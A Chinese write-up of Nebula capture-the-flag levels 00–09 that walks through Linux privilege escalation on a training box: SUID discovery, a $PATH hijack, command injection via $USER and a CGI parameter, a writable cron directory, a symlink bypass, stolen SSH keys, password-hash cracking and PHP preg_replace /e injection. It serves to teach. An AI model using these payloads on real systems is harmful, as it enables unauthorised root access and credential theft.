通过 Nebula CTF 理解基础 Linux 渗透(Level 00-09)


背景

Nebula (https://exploit-exercises.lains.space/nebula/) 提供了一系列常见或不常见的 Linux 系统漏洞利用,包含如下内容:

  • SUID 文件
  • 权限控制
  • 竞争条件
  • Shell 元变量
  • $PATH 漏洞
  • 脚本语言漏洞
  • 二进制文件漏洞
  • Web 漏洞

通过一整套 Nebula 训练,用户将会对基础的 Linux 系统攻击有一定的认识。

规则

通过各种形式的漏洞利用获取 Root Shell,即为通过。题面及靶机见官网。

Level 00

一道简单的 SUID 问题,需要阅读 man setuid 了解。

需要找到所有设置了 SUID Flag 的可执行文件:

$ find / -perm /4000
...
/bin/.../flag00
...
$ /bin/.../flag00
Congratulation, please run command getflag00 to get your flag!
$ getflag00
Congratulation! The flag is find-suid

执行其,过关。

Level 01

注意到:

system("/usr/bin/env echo and now what?");

该代码读取环境变量后,echo 实际上是在 $PATH 内搜寻得来的,故可以构造 $PATH,包含虚假的 echo

#!/bin/sh
# file path: /home/level01/echo
/bin/getflag01

$PATH 设为当前目录,过关。

$ chmod a+x echo
$ PATH=/home/level01 ./flag01
Congratulation! The flag is attack-env

Level 02

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);

可以看到切入点是 $USER,使用 && 构造单行多语句即可。

$ USER="hello && /bin/getflag02 && echo " ./flag02
hello
Congratulation! The flag is attack-env-again

Level 03

该题目 crontabwritable.d 目录下所有文件周期性执行,但该目录权限为 a+w

在其中创建文件:

#!/bin/sh
/bin/getflag03 >/home/flag03/writable.d/answer

等待几分钟后其被执行:

$ cat answer
Congratulation! The flag is attack-crontab

Level 04

if(strstr(argv[1], "token") != NULL) {
    printf("You may not access '%s'\n", argv[1]);
    exit(EXIT_FAILURE);
}

程序通过文件名判断是否允许,那不妨通过软连接绕过。

$ ln -s /home/flag04/token /home/level04/hello
$ ./flag04 /home/level04/hello
1234-4321-5678-8765

得到 token 为 1234-4321-5678-8765

尝试用其登录 flag04

$ su flag04
Passwd: 1234-4321-5678-8765
$ getflag04
Congratulation! The flag is get-token

Level 05

$ ll
...
drwxr-xr-x  2 flag05 flag05  4096 Sep 27  2017 .backup/
...
$ cp /home/flag05/.backup/backup-2017.tar.gz ~/.
$ tar xaf backup-2017.tar.gz
.ssh/
.ssh/id_rsa
.ssh/id_rsa.pub

获得了 flag05 的 ssh 公/私钥

$ ssh flag05@127.0.0.1
$ getflag05
Congratulation! The flag is steal-key

Level 06

用户 flag06 的证书来自旧版本 unix 系统,说明其密码储存在 /etc/passwd 中:

$ cat /etc/passwd | grep flag06
flag06:AAqbdNUTLvJ5M:993:993::/home/flag06:/bin/bash

unix 系统密码可以用 John 破解:

$ echo "flag06:AAqbdNUTLvJ5M:993:993::/home/flag06:/bin/bash" >passwd
$ john passwd
ftc              (flag06)

得到密码,登陆后得到 flag 为 crack-password

Level 07

阅读 thttpd.conf 发现 cgi 服务监听在 8888 端口,执行 ping $Host

构造参数:

Host=127.0.0.1 && getflag07

转义为 url 编码,浏览器访问 /index.cgi?Host=127.0.0.1+%26%26+getflag07 得到结果

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.010 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.033 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2016ms
rtt min/avg/max/mdev = 0.010/0.025/0.033/0.011 ms
Congratulation! The flag is cgi-vuln

Level 08

$ file capture.pcap
capture.pcap: tcpdump capture file (little-endian) \
     - version 2.4 (Ethernet, capture length 65535)

是个 pcap 逆向。传到本地使用 wireshark 打开,选择跟踪 TCP 流:

Linux 2.6.38-8-generic-pae (::ffff:10.1.1.2) (pts/10)

..wwwbugs login: l.le.ev.ve.el.l8.8
..
Password: backdoor...00Rm8.ate
.
..
Login incorrect
wwwbugs login:

查看密码项的原数据为:

000000B9  62   b
000000BA  61   a
000000BB  63   c
000000BC  6b   k
000000BD  64   d
000000BE  6f   o
000000BF  6f   o
000000C0  72   r
000000C1  7f   .
000000C2  7f   .
000000C3  7f   .
000000C4  30   0
000000C5  30   0
000000C6  52   R
000000C7  6d   m
000000C8  38   8
000000C9  7f   .
000000CA  61   a
000000CB  74   t
000000CC  65   e
000000CD  0d   .

中间 0x7f 为控制符退格键,所以密码应该为 backd00Rmate

登录 flag08 得到 flag

Level 09

注意到代码:

$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);

preg_replace 有漏洞,可以直接通过 php 的模板符号 ${EXPR} 进行 php 命令执行,第一层大括号在第一次匹配被消除后剩下 {shell_exec(getflag09)},在第二次匹配被执行:

$ echo "[email {\${shell_exec(getflag09)}}]">/tmp/php
$ ./flag09 /tmp/php 1234
PHP Notice:  Use of undefined constant getflag09 - \
    assumed 'getflag09' in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Notice:  Undefined variable: Congratulation! The flag is attack-php
 in /home/flag09/flag09.php(15) : regexp code on line 1

得到 flag 为 attack-php